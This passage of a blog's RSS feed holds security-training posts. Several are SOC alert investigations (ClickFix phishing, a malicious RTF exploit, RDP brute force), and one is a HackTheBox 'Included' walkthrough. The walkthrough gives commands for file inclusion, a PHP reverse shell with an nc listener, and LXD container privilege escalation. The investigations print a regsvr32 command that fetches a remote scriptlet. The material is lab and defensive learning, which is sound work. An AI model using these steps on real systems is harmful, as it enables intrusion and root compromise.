positive.</p><p><strong>Step 2: Investigate</strong></p><p>The first thing I check is the logs. I will start by searching the SMTP address in the logs. This is what came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQHaZHFbDt5fGhV9RxhmaQ.png" /></figure><p>This log is just technically saying that the user accessed the URL from the LetsDefend email environment. The server request was successful and the user was using Firefox. Now back to the URL, let’s search it up and see if it has a history of being malicious. I&#39;ll be using <strong>VirusTotal </strong>for this search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JsVwo-25ugnuf8fzdWdhqg.png" /></figure><p>VirusTotal reported it as a malicious site and the category included <strong>Suspicious(alphamountain.ai), Spyware and malware </strong>etc. To be sure, I will run it against another engine. I found another <strong>URLVoid.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LmMXgvV7omd9qd9Zh5EzGw.png" /></figure><p>It returned a similar result to VirusTotal, so it is safe to declare this website as malicious. Since the compromise came from the email account, let’s check the content of the email to understand the attack chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ih1S07WMXU2XNvcCrTEN-Q.png" /></figure><p>From the looks of it, this is a <strong>phishing email. </strong>First, the sender “update@windows-update.site” is not from a Microsoft domain. In addition to that, threat actors often utilize free stuff to lure their victims and the “Upgrade … for free” in bold does exactly that. They also included a deadline so that counts as a fear factor to get their victims to act fast. Finally, multiple “Update now” buttons were sprayed across the email. To be sure, I copied the link of the button to inspect, and it directs the user to the malicious “https://www.windows-update.site/” site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ujGhWST0jQRnrHmtHrqmw.png" /></figure><p>The email listed a few steps, so we will try to understand the attack by recreating the steps. First, I look up Windows+R to see what it does. This is the <strong>Run dialog box</strong> on Windows. The second step was to paste the malicious code that the attacker has placed in their clipboard, and finally the user was instructed to press the Enter button on their keyboard to finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ZWKkRV1AhJ3YzqFTxfp0g.png" /></figure><p>The alert showed that the attack was successful, but I need to measure the impact. The next step is to check the endpoint and see what process ran and what effect it had on the endpoint, and gather the indicator of compromise. From the email, I am able to determine the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkNS4bbQ7RA9do-Idi2JAw.png" /></figure><p>The Sender IP, the sender and the malicious URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kOhMEKgrLyvNag5vTDoBhQ.png" /></figure><p>Checking the terminal history, I am able to derive another URL “<a href="https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4">https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4</a>”. So now we will check out the network process and filter it by the IOCs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKI9R51pqfd6oJgBNL6z5A.png" /></figure><p>From this, I am able to determine that the endpoint communicated with the malicious URL. Next, I will check the processes for the website derived from the terminal. After reviewing the processes, I filtered the command line by “overcoatpassably.shop”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSaFhxLE7aE_j5L5E4vB-Q.png" /></figure><p>This established that the attack progressed from<br>Powershell.exe-&gt;mshta.exe-&gt;https://overcoatpassably.shop/.../maloy.mp4</p><p>We have enough evidence to establish that the user interacted with a malicious domain. Next, I will finish the playbook.</p><p><strong>Next Step is Containment:</strong></p><ul><li>Remove the malicious email from the user’s inbox and prevent further interaction with the phishing link.</li><li>Isolate the affected endpoint from the network to prevent further communication with the malicious infrastructure.</li><li>Preserve relevant evidence before remediation, including process execution, command-line history, network connections, downloaded files, and other indicators of compromise.</li><li>Investigate the endpoint for persistence mechanisms, additional malicious files, credential theft, and other signs of compromise.</li><li>Identify any other systems or users that interacted with the same malicious domains, URLs, sender, or payload.</li><li>After forensic collection and investigation are complete, eradicate the malicious files and persistence mechanisms and remediate the endpoint.</li><li>Restore the system to a known-good state and reconnect it to the network only after confirming that the threat has been removed.</li><li>Continue monitoring the endpoint and related indicators for signs of recurring or additional malicious activity.</li></ul><p><strong>Prevention:</strong></p><p>Block and quarantine emails from update@windows-update.site and block the malicious domains and URLs associated with the campaign, including windows-update.site and overcoatpassably.shop.</p><p>Strengthen email filtering to detect Microsoft impersonation and suspicious links. Educate users not to execute commands provided by websites, including ClickFix instructions such as pressing Win + R and pasting commands.</p><p>Implement endpoint controls and monitoring for suspicious use of PowerShell and mshta.exe, and restrict or alert on unauthorized execution of scripting utilities.</p><p>Continue monitoring for related indicators of compromise and investigate any additional systems that accessed the identified malicious infrastructure.</p><p><strong>MITRE Techniques Used</strong></p><p>T1059 Command and Scripting Interpreter<br>T1059.001 PowerShell<br>T1204 User Execution<br>T1204.001 Malicious Link<br>T1574 Hijack Execution Flow<br>T1574.002 DLL Side-Loading<br>T1027 Obfuscated/Compressed Files<br>T1105 Ingress Tool Transfer</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d9d2b21a6b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackthebox Starting Point (INCLUDED) walkthrough]]></title>
            <link>https://medium.com/@adeyemiaayatullah/hackthebox-starting-point-included-walkthrough-bcd78d75b8f3?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcd78d75b8f3</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[included]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Thu, 13 Aug 2026 13:12:33 GMT</pubDate>
            <atom:updated>2026-08-13T13:13:07.161Z</atom:updated>
            <content:encoded><![CDATA[<p>Personal Rating: 5/10</p><ol><li>What service is running on the target machine over UDP?</li></ol><p>A quick nmap should do the trick. This time we run <strong>-sU </strong>to scan UDP ports instead of the default TCP scan, since the question asks specifically about a UDP service.</p><p>Answer: tftp</p><p>2. <em>What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?</em></p><p>Let’s start by running the IP address on our browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Okah_MB9HYfgOMtL1mR7Ig.png" /></figure><p>We notice that we are redirected to the <strong>home.php </strong>by default. This is a vulnerability that can be explored. First we will change the http: address to</p><p><strong>/etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqWCkexD1K1DE9q3uaM-tg.png" /></figure><p>This vulnerability is called <strong>local file inclusion.</strong></p><p>Answer: <strong>Local File Inclusion</strong></p><p>3. <em>What is the default system folder that TFTP uses to store files?</em></p><p>We see the answer in the passwd file generated. The last line shows the last user, and the file directory is</p><p><strong>Answer: /var/lib/tftpboot/</strong></p><p>4. Which interesting file is located in the web server folder and can be used for Lateral Movement?</p><p>Moving forward, let’s see if we can exploit tftp. Let’s start by downloading tftp on our terminal, using this command.</p><pre> sudo apt update <br>sudo apt install tftp-hpa</pre><p>After this, we can open tftp by simply typing <strong>tftp {ip address}</strong></p><pre> tftp 10.129.59.83</pre><p>Then we can upload a <strong>php reverse shell, </strong>into this by running</p><pre>put reverseshell.php</pre><p>In this case, I already have a reverse shell named <strong>reverseshell.php </strong>on my terminal. To download and save a reverse shell on your terminal, you can follow step 5 and 6 of this walkthrough.</p><p>Next, we will set up an ncat listener on another terminal.</p><pre>nc -lvvp 1234</pre><p>We will then navigate to the file we uploaded and try to explore it. We do not know where this file is, but from the information generated in the third question, let’s try to open this directory</p><p><strong>/var/lib/tftpboot/reverseshell.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2paQvqBuYwkisNsG9SRRw.png" /></figure><p>Great, our listener has made a connection. We can try basic prompts like <strong>whoami or id </strong>to see what access we have.</p><pre>$ whoami<br>www-data<br>$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br></pre><p>Like we did previously in <strong>oopsie, </strong>we start by making our terminal more interactive, by running this</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>We will navigate to the /var/www/html</p><pre>www-data@included:/$ cd /var/www/html<br>cd /var/www/html<br>www-data@included:/var/www/html$ ls -al<br>ls -al<br>total 88<br>drwxr-xr-x 4 root     root      4096 Oct 13  2021 .<br>drwxr-xr-x 3 root     root      4096 Apr 23  2021 ..<br>-rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess<br>-rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd<br>-rw-r--r-- 1 www-data www-data 13828 Apr 29  2014 default.css<br>drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 fonts<br>-rw-r--r-- 1 www-data www-data 20448 Apr 29  2014 fonts.css<br>-rw-r--r-- 1 www-data www-data  3704 Oct 13  2021 home.php<br>drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 images<br>-rw-r--r-- 1 www-data www-data   145 Oct 13  2021 index.php<br>-rw-r--r-- 1 www-data www-data 17187 Apr 29  2014 license.txt<br>www-data@included:/var/www/html$</pre><p>The command <strong>ls -al </strong>was used instead because we need to list the hidden directories.</p><p>Answer: .htpasswd</p><p>5. <em>What is the group that user Mike is a part of and can be exploited for Privilege Escalation?</em></p><p>Let’s start by checking the contents in .<strong>htpasswd</strong></p><pre>www-data@included:/var/www/html$ cat .htpasswd<br>cat .htpasswd<br>mike:Sheffield19<br>www-data@included:/var/www/html$ su mike<br>su mike<br>Password: Sheffield19<br><br>mike@included:~$ id<br>id<br>uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)</pre><p>Answer: <strong>lxd</strong></p><p>6. <em>When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?</em></p><p>Before going further, we can check <strong>Mike’s </strong>directory and see if there are any flags in the <strong>home directory. </strong>After navigating through <strong>home/mike </strong>we see a <strong>user.txt. </strong>Try to <strong>cat </strong>this file and it should have your <strong>user flag. </strong>Save this for later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*f7BaiNjj2GE1jFCoM6P27w.png" /></figure><p>Good, now let’s try to get more information about <strong>lxd. </strong>I used keywords from this question to narrow my search. I came across this <a href="https://images.linuxcontainers.org/">article</a>.</p><p>Being in the lxd group is effectively root-level access. It lets us manage LXC/LXD containers, and a container can be told to mount the host’s entire filesystem. So from inside a container we control, we can reach files owned by root on the host.</p><p>The first thing I did was to run these commands</p><pre>sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools</pre><p>Then we can clone the lxc distributor and build on it (rephrase copy and paste).</p><pre> git clone https://github.com/lxc/distrobuilder<br> cd distrobuilder<br> make<br>sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18</pre><p>Great, to see if this is truly working, we can list the current directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*W_ULtvJxn2vGjw2Gekjflg.png" /></figure><p>Answer: <strong>Alpine</strong></p><p>7. <em>What flag do we set to the container so that it has root privileges on the host system?</em></p><p>Okay, so to move on from this and escalate our privilege to host, we can start by running this command.</p><pre>rm -rf /tmp/meta_fixed<br>mkdir -p /tmp/meta_fixed<br>cat &gt; /tmp/meta_fixed/metadata.yaml &lt;&lt;YAML<br>architecture: x86_64<br>creation_date: $(date +%s)<br>properties:<br>  os: alpine<br>  release: &quot;3.18&quot;<br>YAML <br>cp ~/meta_fixed.tar.xz ~/ContainerImages/alpine/meta_fixed.tar.xz<br>cd ~/ContainerImages/alpine</pre><p>While in the same directory, we can run an HTTP request.</p><pre>python3 -m http.server 8000</pre><p>Next, on our target, we will get the file.</p><pre> wget http://10.10.14.51:8000/meta_fixed.tar.xz -O meta.tar.xz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*6o5ZQc-DqAlf3TVma3nMLA.png" /></figure><p>Then we will go ahead and inject the image by running this command</p><pre>lxc image import meta.tar.xz rootfs.tar.xz --alias alpine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*e3_Wvs7lHk5jRqyn1FzRTg.png" /></figure><p>Great, we have successfully uploaded the image. Now we need to mount a container that has the same privilege as the root. To do that, we can run this command. I got this by looking up how to escalate privilege to root with <strong>lxc. </strong>This <a href="https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/">article </a>explains it in detail.</p><p>The security.privileged=true flag creates the container in privileged mode, which turns off the usual UID isolation. That means root inside the container maps to root on the host, so once we mount the host’s filesystem we can read and write its root-owned files.</p><pre>lxc init alpine privesc -c security.privileged=true</pre><p>Answer: security.privileged=true</p><p>8: <em>If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?</em></p><p>Next, we will mount the host’s file system into our container.</p><pre>mike@included:~$  lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true<br>&lt;st-root disk source=/ path=/mnt/root recursive=true<br>Device host-root added to privesc<br>mike@included:~$  lxc start privesc<br> lxc start privesc<br>mike@included:~$  lxc exec privesc /bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*NE6LaWlD4PsPyjrcxBI5cQ.png" /></figure><p>Answer: /mnt/root</p><p>9. Submit user flag</p><p>After gaining root access, we can navigate to the folder where the container was mounted.</p><pre>cd /mnt/root<br>/mnt/root/root # ls<br>ls<br>root.txt<br>/mnt/root/root # cat root.txt<br></pre><p>Congrats, you have successfully obtained the root flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcd78d75b8f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)]]></title>
            <link>https://medium.com/@adeyemiaayatullah/soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-df63aa82e68d?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/df63aa82e68d</guid>
            <category><![CDATA[cve-2025-21298]]></category>
            <category><![CDATA[letsdefend-challenge]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[letsdefend-writeup]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Thu, 13 Aug 2026 04:05:49 GMT</pubDate>
            <atom:updated>2026-08-13T04:05:49.650Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Event Time : </strong>Feb, 04, 2025, 04:18 PM</p><p><strong>Rule : </strong>SOC336 — Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025–21298)</p><p><strong>Level : </strong>Security Analyst</p><p><strong>SMTP Address : </strong>84.38.130.118</p><p><strong>Source Address : </strong>projectmanagement@pm.me</p><p><strong>Destination Address : </strong>Austin@letsdefend.io</p><p><strong>E-mail Subject : </strong>Important: Action Required for Upcoming Project Deadline</p><p><strong>Attachment : </strong>mail.rtf</p><p><strong>Attachment Hash: </strong>df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184</p><p><strong>Device Action : </strong>Allowed</p><p><strong>Trigger Reason : </strong>Malicious RTF attachment identified with known CVE-2025–21298 exploit pattern.</p><p><strong>Step 1: Triage</strong></p><p>The first step was to understand the alert. I started by reading the trigger reason, the rule, the destination and source addresses, and the attachment. I’ll work through them in the order the alert lays them out. The SMTP address is 84.38.130.118 and the source address is projectmanagement@pm.me. The first question that comes to mind is whether that SMTP address is authorized to send mail for the pm.me domain.</p><p>Next is the email header, “Action Required for Upcoming Project Deadline.” While it looks like a legitimate email, it could also be an example of phishing because attackers tend to use urgency as a fear factor to trick their victims. The mail attachment “mail.rtf” seems suspicious. Checking what the <strong>rtf </strong>filetype means could lead somewhere. I found an article on Adobe that stated that <strong>RTF </strong>means Rich text format. As the name implies it means that you can add rich font, indent and all to a text. In addition to that, it can store extra information and data types.</p><p>Next is the attachment hash. We can check online to see if the hash matches any malicious hashes on the web. Finally the Trigger reason sources the CVE-2025–21298 exploit pattern. I researched CVE-2025–21298 to better understand the possible attack surface. This attack is generated from a phishing attack that a user interacts with and the attacker can gain Remote Code Access through that.</p><p><strong>Let’s Investigate</strong></p><p>We can’t assume it is a compromise without investigating and proving with evidence. The first thing I did was check the email header to see if the IP was authorized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVsCQkGYdSV1SRR8DXK1oQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vxeMAfCR6t0oXk7FhXkdw.png" /></figure><p>The email confirms my earlier suggestion about social engineering using urgency. I however cannot confirm the email header, but the mail.rtf file can be inspected further.</p><p>I downloaded the mail.rtf file and unzipped it in a sandbox. Then I began analyzing it by comparing the file hash to the one generated in the alert, and then I analyzed the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4PYfzgfQLgG954wN9pmzw.png" /></figure><p>One thing that stood out is that the file hash and the alert hash are different. I tried to confirm this by redownloading the file but the mail.rtf file remains the same. Next is the file analysis.</p><p>I used cat to view the content of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ze826Qh5XLMpbP6oGrOYOw.png" /></figure><p>Besides the StaticDB, the file didn’t yield other results. In addition to that, since this file hash does not match then we cannot use it as evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKU_U5jInhfZYzil1fPIbw.png" /></figure><p>This is the OLE remote code execution vulnerability. The next thing I looked for was the hash and checked it against malicious reports. While this is not enough proof, it points towards a pattern. I checked the original hash against online sources to see if it was malicious. The result proved positive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cmPDlQ56Miox35zGcfEP5A.png" /></figure><p>Next I checked the log, I searched it against the SMTP value of 84.38.130.118 and I got one result in the Raw log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLTJtO2TbUKTlf46x1Ytug.png" /></figure><p>This shows that there was an exploitation. There was a GET request to the shell.sct and it was permitted. Let’s look into the .sct and see what it does. According to the information online, the SCT extension serves as a scriptlet. More on <a href="https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo">.sct</a>. The next thing I checked was the Endpoint. The machine belonged to Austin so I checked his logs and I found something interesting in the terminal history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szax9J6x21nCs_95EZ-xEg.png" /></figure><p>This proved that cmd.exe executed, let’s check the command line. /c after cmd.exe meant to execute the next line and kill cmd.exe. Then the next step is /s and /u which means to run processes silently. Because regs is used to register a DLL, /u means to unregister. Coupled with /I&lt;url&gt; it supplies the regs with an installation string, and finally the scrobj.dll is the <strong>Script Component Runtime. </strong>In short this is just a way to tell the command line to unregister while providing it with a link at script component runtime.</p><p>The email attachment was associated with a suspicious regsvr32.exe execution under the DESKTOP-USER\Austin account. The target process command line was regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll, which references a remote .sctscriptlet. Network telemetry subsequently showed an HTTP GET request to the same .sct URL, and the request was permitted.</p><p>Enough proof to show that malware was detected. Now let’s run the playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nHw1kuHGxdu2dKywK-Mxw.png" /></figure><ul><li>Since the host is compromised, it is recommended to isolate the affected device to prevent any lateral movement activity.</li><li>Check If Someone Requested the C2 :Accessed</li><li>Based on the logs in the log management tab, it appears that the attacker has accessed the command-and-control (84.38.130[.]118) server.</li><li>Analyze Malware: Malicious</li></ul><p>The file (mail.rtf) is considered malicious. It was flagged as malicious by 10 out of 59 security vendors and labeled as “Exploit.CVE-2025–21298.1”</p><ul><li>The malware was Not Quarantined</li></ul><p><strong>MITRE ATT&amp;CK</strong></p><p>Here is how the full chain maps to MITRE ATT&amp;CK:</p><p>Initial Access — T1566.001 Phishing: Spearphishing Attachment. Austin received an email carrying a weaponized RTF (mail.rtf).</p><p>Execution — T1203 Exploitation for Client Execution. The RTF abused CVE-2025–21298, the Windows OLE zero-click RCE, so the payload fired without the user doing anything beyond opening the mail.</p><p>Execution — T1204.002 User Execution: Malicious File. The chain still relied on Austin opening the attachment, which the phishing lure was built to encourage.</p><p>Defense Evasion — T1218.010 System Binary Proxy Execution: Regsvr32. The regsvr32.exe /s /u /i:&lt;remote .sct URL&gt; scrobj.dll command uses a signed Microsoft binary to fetch and run a remote scriptlet</p><p>Command and Control — T1105 Ingress Tool Transfer. regsvr32 reached out to the attacker’s server to pull down the shell.sct scriptlet.</p><p>Command and Control — T1071.001 Application Layer Protocol: Web Protocols. That pull was an HTTP GET to 84.38.130[.]118, which the host allowed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df63aa82e68d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ RDP Brute Force Detected]]></title>
            <link>https://medium.com/@adeyemiaayatullah/rdp-brute-force-detected-028eba64cd94?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/028eba64cd94</guid>
            <category><![CDATA[socanalysis]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[brute-force]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 06:44:40 GMT</pubDate>
            <atom:updated>2026-07-23T06:44:40.992Z</atom:updated>
            <content:encoded><![CDATA[<h3>MediumMar, 07, 2024, 11:44 AMSOC176 — RDP Brute Force Detected234Brute Force</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uYS5O35V2UJv-pBTRWOH1Q.png" /></figure><p>The first thing I did was to analyze the alert to better understand what type of attack we are working with. According to the event rule, the alert was fired due to a brute force attempt. The alert trigger reason was that there is a login failure from a single source with different non existing account. This is an example of brute-forcing. However we cannot make any assumptions yet, we need to prove it with evidence. The destination host name is Mathew and the protocol is RDP. Now let’s get our hands dirty.</p><p><strong>Investigate:</strong></p><p>We have some useful information in the alert details</p><p><strong>Source IP Address: </strong>218.92.0.56</p><p><strong>Destination IP Address: </strong>172.16.17.148</p><p><strong>Firewall Action: </strong>Allow</p><p>Let us start by analyzing the logs to get a better picture. I filtered the logs by the source_IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nx3AKR644ASVj8T7oP37oQ.png" /></figure><p>Filtering by the source IP returned an error code indicating failed login attempts. The account being accessed is the admin. We have both the source_port and destination_port. All the login attempts come from different ports but the destination port remains the same. Let’s check the service that is being run on these ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3vEI9MGAcm_w_h4SLCyf5A.png" /></figure><p>Port 3389 is the default RDP port, used for establishing remote desktop connections. Meaning the attacker was targeting Windows systems directly. In fact, according to the logs, the attacker is trying to gain access to multiple systems, including the admin, guest, Sysadmin, and Mathew. Let’s get a full look at the error codes returned and see what they tell us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppND3_WMIXhFR-wVdvxBJQ.png" /></figure><p>There are two important error codes here. 0xC0000064 indicates an unknown username — the attacker was guessing. Once a valid username was found, the error changed to 0xC000006D, which indicates a wrong password. This progression shows the attacker first enumerated valid usernames, then targeted Mathew’s account specifically to crack the password. After reviewing the logs, it is evident that the attacker eventually gained access to Mathew’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDEhesk4wJ8SQbckcOm8rA.png" /></figure><p>We can tell that the logon was successful and the user was able to gain Remote, interactive access to the account. I will proceed to the endpoint and search the destination address (Mathew).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NioMsNn-43hffLjMhtzu9A.png" /></figure><p>As expected it is running a Windows OS. We can check the events for this host and see if there is any suspicious alert that fired from March 7th and above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lS85nkm3_nheXMrShKQbMg.png" /></figure><p>It looks like the attacker was able to run commands on the system after logging in. Including a netstat command to check listening ports, enumerate users, and review admin groups. The attacker gained Administrator-level access to the system. I also did a quick scan of the source IP on VirusTotal and was able to confirm that it is susceptible to brute force behaviors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9cDtFjVLVPnbujkKxijAg.png" /></figure><p>This log was pulled from AbuseIpdB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfFXiBbeBgphrOKCRltCgQ.png" /></figure><p>With all these evidence I am able to determine that it is a true positive.</p><p><strong>Scope</strong></p><p>The attacker tried to RDP into multiple systems and was able to obtain the username for Mathew. They were also able to log into Mathew’s system and gain Administrator-level privileges.</p><p><strong>Mitigation</strong></p><p>The first step is to contain the affected system. This is to prevent the spread of a worm or other attack from the machine to another. After containment, Mathew’s credentials should be reset and all active sessions terminated. RDP access should then be restricted to a VPN or jump server with MFA enforced going forward.</p><p><strong>Incident Report Playbook</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z1s6swMCutINrzQypqyW9A.png" /></figure><p>This is an external source IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0soXGuTrYof891rhA9DlYQ.png" /></figure><p>After checking with this resources, I was able to determine that the attacker IP is suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PI9-MJpNEYxu-BGJzlpNNg.png" /></figure><p>Yes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EI7beYhi33Twhb9WC7TS6w.png" /></figure><p>No</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1MoFHf61HmTFMQKx1VA0w.png" /></figure><p>The brute force attack was successful.</p><p><strong>Lessons Learned</strong></p><h4><strong>How did the cyber attack happen? The cyber attack happened by the attacker brute forcing RDP services until they identified a valid username (Mathew) and successfully cracked the password to gain access to the account.</strong></h4><p><strong>How well did staff and management perform in dealing with the incident?</strong> The alert was detected and escalated appropriately. The SOC playbook guided the investigation effectively, though faster containment of the affected endpoint would have limited the attacker’s post-access activity.</p><p><strong>What would the staff and management do differently the next time a similar incident occurs?</strong> Implement account lockout policies so repeated failed logins trigger an automatic lockout before access is gained.</p><p><strong>What corrective actions can prevent similar incidents in the future?</strong> Disable RDP on endpoints that don’t require it. Enforce MFA for all remote access. Restrict RDP access to known IPs via firewall rules.</p><p><strong>What precursors or indicators should be watched for in the future to detect similar incidents?</strong> Multiple failed logins from a single external IP across different accounts in a short time window, especially targeting admin, guest, and sysadmin accounts simultaneously.</p><h3>MITRE ATT&amp;CK</h3><p><strong>T1110.001 — Brute Force: Password Guessing</strong> The attacker repeatedly attempted to log in using different username and password combinations until gaining access. This was the primary initial access technique used in this incident.</p><p><strong>T1021.001 — Remote Services: Remote Desktop Protocol</strong> The attacker used RDP (port 3389) as the delivery mechanism to access the target system. All login attempts were directed at the RDP service across multiple target accounts.</p><p><strong>T1078 — Valid Accounts</strong> After successfully brute-forcing Mathew’s credentials, the attacker used those valid account credentials to authenticate and establish an interactive remote session.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=028eba64cd94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EventID: 303 — [SOC325 — Unauthorized Cloud Region Access Attempt Detected]]]></title>
            <link>https://medium.com/@adeyemiaayatullah/eventid-303-soc325-unauthorized-cloud-region-access-attempt-detected-dd626a61fde8?source=rss-a9b5ecd42ebd------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd626a61fde8</guid>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[letsdefend-writeup]]></category>
            <category><![CDATA[brute-force]]></category>
            <dc:creator><![CDATA[Aayatullah Adeyemi]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 16:35:48 GMT</pubDate>
            <atom:updated>2026-07-18T17:33:55.368Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>EventID : </strong>303</p><p><strong>Event Time : </strong>Sep, 24, 2024, 08:21 AM</p><p><strong>Rule : </strong>SOC325 — Unauthorized Cloud Region Access Attempt Detected</p><p><strong>Level : </strong>Security Analyst</p><p><strong>Source Address : </strong>134.209.145.73</p><p><strong>Destination Address : </strong>52.15.206.21</p><p><strong>Username : </strong>test@letsdefend.io</p><p><strong>Trigger Reason : </strong>Too many access attempts with the same user were detected in a short period of time from an unauthorized (configured as “unused” or “unsupported”) cloud region.</p><p><strong>Request URL : </strong>POST /accounts/login HTTP/1.1 403 512</p><p><strong>Device Action : </strong>Blocked</p><h3>The first thing that I do is understand the alert.</h3><ul><li>What detection fired? The detection that fired was an Unauthorized Cloud Region Access Attempt.</li><li>What behavior triggered it? This alert was triggered by multiple access attempts with the same user over a short period of time from an unauthorized region.</li><li>What ATT&amp;CK technique does it represent? MITRE ATT&amp;CK T1110: Brute Force</li><li>What is the objective of the attacker? Gain unauthorized access to an account.</li></ul><p>Before drawing a conclusion, I verified the alert against the raw logs. The firewall log for 134.209.145.73 showed the request blocked with a 403 response and the warning message ‘Suspicious request from unused cloud region (134.209.145.73).’ The proxy log recorded the same source reaching the destination 52.15.206.21 on port 29079. This confirmed the block came from an access attempt in an unauthorized cloud region, so the alert is a true positive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wI97pczlmwN1HTBHOwA-QQ.png" /></figure><h3>Step 2: Extract Every IOC</h3><p>IPs: 134.209.145.73 to destination address 52.15.206.21<br>Usernames: test@letsdefend.io<br>Hostnames: AWS_Services<br>Domains: LetsDefend<br>URLs: POST /accounts/login 